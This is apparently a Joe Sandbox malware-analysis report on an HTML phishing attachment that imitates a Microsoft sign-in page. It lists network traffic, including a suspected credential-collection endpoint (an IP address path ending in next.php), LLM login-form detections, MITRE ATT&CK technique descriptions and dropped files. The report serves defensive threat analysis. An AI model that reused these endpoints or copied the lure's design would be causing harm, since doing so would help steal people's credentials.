2024-09-16 19:12:07 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 3660, Parent PID: 4380

General

Target ID:	0
Start time:	15:11:08
Start date:	16/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play-Audio_Now(Steven.haerle)CLQD.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5892, Parent PID: 3660

General

Target ID:	3
Start time:	15:11:10
Start date:	16/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1640 --field-trial-handle=1808,i,16055149669166224440,3379469186605788293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1203395472-1323985617.cos.sa-saopaulo.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1203395472-1323985617.cos.sa-saopaulo.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SBGXGboh+nPrCKx&MD=h1lTAwTn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SBGXGboh+nPrCKx&MD=h1lTAwTn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -240X-DeviceID: 01000A4109009A83X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAfQshaazS7jh1tAw1F25QmTQFVGx33869nxELIiS7mN2X29i3OYaVXS15/kQ3IyAVLrsyIPMtNIBC1zu157TWjYentnhfAOZwCQyUL9tufqPUstIOE%2BsiKynPQHBrIOVCEPnjUzCM3n%2BhKvEPVuf1xQt2Lm3eAtKHrgj8yx19gcvxaMd20BYnvfCh19k9uN4bVISfHdCZe9MGKT//y4VWLPd4tLC2kfGZIpyQjyCFEtrpYYXbumUTX1AEdSSEurao%2BshaI7pOp6QP8ZeN5uu2FMcNsydZj0efn%2BkBbzc4W3FEvqvbS8fUSDu7FJatW9Y%2BuS7InKo6DeqlC7UqbU5VyQQZgAAENKXeyF78Uq9TztIdjTbsNGwASshVSraM869gyDvfkPJ/cv16ST5yAkNX8s2lXEP37V/5uaxIbcLG%2BexiBxok2wYova84TaN8bwgmCCXyY%2B8Xn5Q1eoza31NRisc181QUVyy5LrwxkgwJ7g4ujNoymKEiS3NG2vT3Lo9sJdqjQPmnf0JyKkhcbhgE4W4iq1dvDI9vIWjuGr/gLcDiXqgRrdbzXCSpyiG55sOV1rhkDSZRRnHx5PR90Cfx%2BSNwcIajka4hDH1BMp3l/Zb//D4E6mVhU7Ac1QwM2C8fdPhxz45d/51UMLf0rQnJkND0tHLym9PELOTN8EhgJJ1CedyegKlt7ZGIv9BqXkT6kUSvWYv3Ei/lRgYh8nc/8SdJlPlyPLO1q8xlOGxyNtzA1WwkD%2B2/UN3DvGie%2BjQIBXiNoaz9DpdXV63Zb54BCbEcRniq%2BRx2rhMrFY//urprsZ2hisddl0Uw6mMNdTu0voEBaDTReSZJPqKzW84CfLVBUNPESgADdYRTsTJtn6l0BOqFSMpiU8EdBz%2BQQiHlU/U9aCB2z9phrA92DSicriZ0jnqBEr578uFljKE8wbjeLW3wBX8R9cB%26p%3DX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1726513924User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 046153DF058A4A259CC9797CD6E1C5B3X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUID=5047E5942BB2460EA35B53CCF78DDB3D; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /1203395472/next.php HTTP/1.1Host: 157.173.120.174Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1203395472/next.php HTTP/1.1Host: 157.173.120.174Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1203395472-1323985617.cos.sa-saopaulo.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 0.1.pages.csv
Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 0.2.pages.csv

Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.120.174
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Play-Audio_Now(Steven.haerle)CLQD.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

